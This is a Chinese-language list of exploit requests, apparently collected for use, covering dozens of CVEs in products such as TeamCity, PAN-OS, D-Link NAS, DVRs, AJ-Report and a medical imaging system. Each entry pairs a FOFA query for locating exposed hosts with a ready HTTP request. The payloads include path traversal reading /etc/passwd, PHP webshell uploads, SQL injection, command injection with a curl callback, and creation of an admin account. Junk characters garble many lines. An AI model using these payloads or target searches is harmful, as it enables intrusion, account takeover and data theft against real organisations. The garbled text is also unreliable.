User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 o; d# G, Q3 r9 N8 |% tAccept: */*
Accept-Encoding: gzip, deflate
! h7 K# h5 u8 d" j8 m. ZConnection: close
* J# @" D# |0 g8 D- p

  y. P$ `( Y6 c3 D% `3 b7 I/ r第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
) S5 L8 e, Y5 j" M3 _# LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
; j& A5 i) u+ C
$ U( w8 e4 _# _3 I- z
- a9 N0 n* h) u: k  [8 J2 y2 D130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
! }7 w" a9 n9 ]* P" EPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
3 G; F) b$ S. L% L( PAccept: application/json, text/javascript, */*; q=0.01
0 L3 ~) D) ]: L$ U, b7 SX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 \( D6 l. d* P" F, y, w8 p/ ?: zContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 k: w- C; J6 L! V5 TCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
3 N1 d" m) s7 {Content-Disposition: form-data; name="file"; filename="1.php"
, e6 b1 h( q; g& v. Y+ XContent-Type: image/png

7 g# N3 [. ~9 E1 n( e<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

& j) @( O- j& D' F0 n
  B  d8 c  s# N  @) Y& ~; X! W131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
6 m7 Y" X! H% [& l+ C4 w* thttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
  K. X# f+ Q5 u+ Y+ B* x
+ S) J$ N( \( R132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
5 O4 K8 P, O4 z+ q. O5 f0 BFOFA：body="Log in to TeamCity"
0 m  a* ]5 m3 ]2 r8 ?- OPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
' \6 F, ^& \9 k5 O( W% yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
# K  ~* G9 `7 X2 s2 }( [# U. `6 n
9 h7 v: `, U: ~% f% f3 b$ y{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
. G. S8 O- w' [$ S/ F& C% P: z4 Z

1 f) V8 ^3 C8 S. O0 N) ICVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
$ s: B: S- ~8 H7 T: x/update/../admin/diagnostic.jsp
, T, j& G# m! Z% E9 k

  L: {& S: I' n# @' ]3 F2 OCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
( s! Y  G+ l/ h5 FHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
8 w7 f! l0 q& m
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
" G5 N) @5 w5 XContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

  N+ g$ w* M0 P& H<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



0 Q1 Z2 M% p. ?9 G+ o; C134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
( n9 G  f3 j% c# ]7 a5 @POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
, p8 d3 V" ~& m8 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
4 W- j9 _: S  `9 E, uAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
$ E  J1 }9 f1 [' iSec-Fetch-Dest: empty
( ]1 D2 Y4 x+ ySec-Fetch-Mode: cors
0 ~2 _- c, S3 Y7 s3 Q; {Sec-Fetch-Site: same-origin
9 ~1 I2 T% D: F/ h4 r5 ZTe: trailers
3 v, _. ^9 A! [* O$ s. @  SConnection: close
Content-Type: application/x-www-form-urlencoded
" b2 I/ r' F1 \& MContent-Length: 263

) \! ^2 f7 k) H' X6 r; Tjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

( N% }3 Y. g# K0 x- h/ @
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
; v: f. u+ c+ h7 o$ d% h+ r% g; x! ^GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
, m: W# F% t7 l! x" i8 N- pHost: x.x.x.x
, L# b- l7 x8 ~! ~9 X0 y2 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 t7 _6 V+ R% eAccept-Encoding: gzip, deflate
0 A6 }3 R& L6 M( S# K6 e& K+ VAccept-Language: zh-CN,zh;q=0.9
/ J5 T) y3 e0 i' w. oConnection: close
  \! C1 ]/ H, r+ k4 z% _

136. NextChat cors SSRF
' D  U0 J8 |- s" L1 QCVE-2023-49785
! j8 t) Z! U6 c. e& r7 }- VFOFA：title="NextChat"
7 U5 r, j3 \3 J7 U4 P/ B; }4 zGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
( z$ @3 u/ F+ C% EHost: x.x.x.x:10000
8 U- P3 F) t; F" L$ r+ SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
# _! ^/ U4 M: P  q) U* W2 m3 oAccept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( j% A( W1 w) c" G) D( M9 sGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 j2 [+ y3 Y3 tAccept-Encoding: gzip, deflate, br
Connection: close
/ V9 q" q) K( p7 ?Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
8 Q9 U1 U( g' X0 L$ A+ R  [& CUpgrade-Insecure-Requests: 1
7 F! h3 l3 e/ U1 S9 a
3 [1 ~. S" v& M  h- s* [8 Z
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
/ H; N2 ?) L, G, ~% j" n2 BCVE-2024-2621
6 v0 o, M7 f9 R8 ~5 V+ EFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
5 u8 e5 r: g1 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* h; l& w( O3 z( a. p6 s; VConnection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 U1 g1 N  {# {# y+ ?9 ~GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
6 l* {: T# k+ \1 B: G2 j$ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 q4 w3 q5 B; U+ `0 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
- L; w3 `" v/ x. v7 s# qCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
2 v2 T! K! o8 J  N$ I6 q5 wUpgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
- `! F' V* R& d1 r' B9 i8 dFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- A# p" \9 @# i) B0 z4 V8 V5 I3 NGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
% Y, a. n1 r  [3 D$ R& W  a7 ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) y6 o4 V) j1 T3 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" M, O+ ~3 ~/ K9 J1 tConnection: close
+ a: w; p1 T* Z2 g  V. ~( X  @+ R6 X& QCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
( R/ b8 a+ ]) I6 g0 }5 C

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 T1 o: n* t( C- w! iFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
7 |0 q9 q7 G! a. G2 CHost: your-ip
0 k6 J  v6 G5 v+ q) j) uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# w6 }+ i1 j0 {( c2 kContent-Type: application/x-www-form-urlencoded
* w( C* l7 k: J0 @

& \8 `7 E1 D  _7 g, x8 Udep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
- M0 k3 W4 y6 c

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
) e7 \) C+ B2 u0 DFOFA：body="/808gps/"
  f( l9 j$ P0 n1 \admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
& `5 u6 S3 S; h% c- F5 bCVE-2024-25850
FOFA：title='AP setup' && header='netis'
$ V8 H; u+ }2 s6 t5 s& s, iPAYLOAD
' r! n4 K: T2 H* i
9 N0 {( Z, F. w6 C3 S144. D-Link nas_sharing.cgi 命令注入
' \0 a8 t# U$ q  AFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
4 d( ^* o0 y* QGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
+ Y. V# ?; h0 d8 P# T; q1 E# ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
2 j( o' Y- E3 _5 EAccept: */*
. X3 {6 f+ s4 o7 g0 hAccept-Language: en
1 |- n, y+ L" y  iAccept-Encoding: gzip
5 e: J; _' Y! f2 y2 N. a. @( C( `
4 N: _& @" a3 N, r) R1 S% |6 O
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
( a  y! a' E) N% \6 D( hHost: 192.168.30.112:1005
( }8 w9 z. {" G" ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
4 k$ T& O* }4 y6 A7 P5 PConnection: close
) L4 {- L, A0 P4 |$ e$ mCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
5 E4 `6 C5 J  d. Q+ ?
, a% g) m% f5 a9 y2 @, j: A
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
5 H$ e* A$ }5 F! j4 m9 ~  m" F% s1 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
$ z7 T  P+ G" C: [( |- XAccept-Charset: utf-8
4 |, d1 i% H- ]$ BAccept-Encoding: gzip, deflate
Connection: close


. ~; |# [) r9 O( D7 w3 e147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
* L, J0 c; i5 j- O3 _  FCVE-2024-32399
FOFA：body="RaidenMAILD"
9 k# ^. j4 l3 v  EGET /webeditor/../../../windows/win.ini HTTP/1.1
& P+ H% y, v: }) FHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
; g) _3 H9 z4 S3 L1 Z' T
- j8 Q* v) M, a8 h
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
6 P% U3 W* M  G4 |0 f5 N5 F
149. AJ-Report开源数据大屏存在远程命令执行
" h' b; J* B; `  n: HFOFA：title="AJ-Report"
8 J: q  U' B/ i3 G6 B& d
5 D9 C* O. L/ P) ?# h# I3 k  E$ ?+ kPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

1 a1 r0 e7 Y) f2 ]% `; w- _150. AJ-Report 1.4.0 认证绕过与远程代码执行
" y: U3 d4 G5 ~8 D: dFOFA：title="AJ-Report"
* z* _$ f: f) w8 z, R; C' tPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
8 [  n6 x" G4 V8 R+ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
9 T: T, D1 ]( q  c# X$ jContent-Length: 339
# X2 c* s" W/ O0 v3 I& R
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

( o7 b* I! U- g0 @7 g& j5 J
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
5 J) Z& `% r$ |8 T/ q4 k' L# [' NGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
) Q6 M+ Q  c9 k, P0 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: \' ^) D$ @1 v& A& c+ F& XConnection: close
Accept-Encoding: gzip
, d# z+ I+ v) V8 A

" M$ j* O: _0 |+ [152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
9 Y$ R: l) X! E$ c3 i0 ?& l7 JFOFA：body="LoadMaster"
( L$ s! o5 i8 v8 S/ YJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
- J% _% N4 l5 H: jGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
) W0 k$ B1 o2 m) V% S- H) RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
- P- c& m" W& b, ]* Y1 NAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
7 W' Z6 M- M( E6 O2 K' v; AAccept-Encoding: gzip
5 U$ T2 H# \5 l6 T; y

153. gradio任意文件读取
& R) c# B( @( o% [CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
. N0 T6 L5 f! \# ?+ R+ n$ ehttp://x.x.x.x/config
- F" y6 l8 a1 M2 o1 d  G" b/ f

- I( c9 B+ ~3 s8 q4 C6 ?9 H% }第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
- ?9 K0 m, k7 f0 j) R2 r0 X3 u! ?: }Host: x.x.x.x
9 N4 {& w' e/ h  Y9 n5 w0 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
9 z/ {) P8 h; Q0 o5 eConnection: close
2 K& P7 h) b5 _* w4 v6 T7 M1 BContent-Length: 115
  n: N5 I5 F- gContent-Type: application/json
Accept-Encoding: gzip
) c# x5 A5 _/ K( f
8 {8 d; ^$ H  L{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

9 I% g' Y/ Y' J# l
* v; K1 R- P6 O' G% c$ a第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
. j! J) a0 Y# o: e

5 X0 P* ^2 Q  A% J1 p# E4 Q. x/ f154. 天维尔消防救援作战调度平台 SQL注入
. T# m6 T- G& _' l) Q+ tCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
& b- u# E7 E4 @3 O* xCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
1 M/ ?( ?, S  x3 [Origin: http://x.x.x.x
- k" r! ~( q& O/ Y# ZContent-Type: application/json
. x6 p8 v$ u: \! c0 r/ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. r) |' b; J# r. {: R+ uReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
3 S5 o7 O8 d+ I' K. K' }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
/ q1 J8 n' c2 SConnection: close

0 P9 v4 I- k% F7 Z{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
1 y1 q' l4 F6 \4 D

5 @8 s7 ], z4 i" ?155. 六零导航页 file.php 任意文件上传
- P  `. Q4 ]+ L! w( `' ACVE-2024-34982
2 t2 q- N" }( J$ w9 a  _FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
4 a/ u* d7 [3 v8 t; tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
5 z& s% q8 L3 t/ s0 l: s* J: j: yConnection: close
Content-Length: 232
1 ~4 l6 L' C1 }: X: X" [+ Z& hAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
5 S0 C( X8 n% m) o/ Z4 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

, I- u5 `* T' p7 k0 `3 A' X-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
' i5 {/ |+ r' R0 Y- aContent-Type: image/png

  u( E2 M- Q/ w- ?" G7 M5 Q- {; Y" _<?php phpinfo();unlink(__FILE__);?>
8 g9 z5 i, M0 x* z/ c-----------------------------qttl7vemrsold314zg0f--

) ]( i3 b% U5 r/ l* ]
7 }% M1 p" }9 T, J: `访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
6 V, c7 b; F( A; R* e: \3 J( U8 YCVE-2024-3721
FOFA："Location: /login.rsp"
  ~8 @2 u& K# V7 {·TBK DVR-4104
·TBK DVR-4216
( G0 T6 a: ^  z% ]curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

3 G4 C9 d4 S, b
& C1 z9 }* U( \. TPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
2 m* A7 J: X% a* p" OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ p6 J3 L0 h( |. V# C8 wConnection: close
Content-Length: 0
& d) ]) K3 M$ ?8 Y. GCookie: uid=1
: U& c6 O( M! a! aAccept-Encoding: gzip
8 \! n; h* Z9 A1 a

2 G# k8 B7 Q! o) X; C157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
- q4 w; A" O3 V7 a5 A, iHost: x.x.x.x
5 k3 c. F- M3 [  r" L3 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ b2 i9 s0 D; P% cCache-Control: max-age=0
* R% ]0 Y. ], j4 D! {' CConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
5 ?9 ~* p# h! K3 n# U
------WebKitFormBoundary1imovELzPsfzp5dN
, t/ x/ ?5 K1 A1 @7 K5 ~  X* cContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
/ U7 ?% o5 J7 T* q; c& @4 f7 z+ y------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
6 j- M& Q2 n7 g  D5 j
3 P8 S& V8 m  v3 }0 S5 Onull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
3 z  U9 ^" O) @: u5 |" i, H
null
% F% U+ N& y' ]4 ?2 P6 r, q/ I$ B------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

7 _! M& n4 ^! |null
& ^! ?: b/ {6 y: s/ s# d1 r------WebKitFormBoundary1imovELzPsfzp5dN
1 X* o" ?& k+ _8 B9 M, wContent-Disposition: form-data; name="filetitile"

+ a, ^6 Q3 p% _* B- C0 {2 |! W8 Lnull
- C: l3 O2 g7 j$ n: U------WebKitFormBoundary1imovELzPsfzp5dN
4 r+ \0 [2 |$ c- SContent-Disposition: form-data; name="filefolder"

null
* |4 O/ y( h4 A; D------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

- W! h8 m7 D9 D5 i* i4 D158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
1 ~: ^  F! R# t+ ^8 C1 EFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
5 J4 e& q$ K! u0 o; }Content-Type: application/x-www-form-urlencoded

2 f, _0 E1 Q0 v- ]- E4 g8 V% Xobject=displayregion&contenthistid=x\'&previewid=1
- n1 C; L7 K3 D  i, F6 ~
9 R3 p6 P+ k8 z: l3 G# W/ o
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
5 l% X, C2 `8 r: q3 C9 _0 p9 @Host: x.x.x.x
; Q/ q3 t# @* R% G! }. D: O: p. @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  o6 m! |6 q7 G$ d- o+ i& ~* GContent-Length: 1080
( p2 D5 z9 m. P! E+ TAccept-Encoding: gzip, deflate
& h+ x' G6 g# }1 u( u- Z# ?; aConnection: close
9 ~% F/ a1 |- \4 @Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
0 D5 k' U2 \! `<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
4 O* {/ q7 ~4 v( z8 W$ n<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
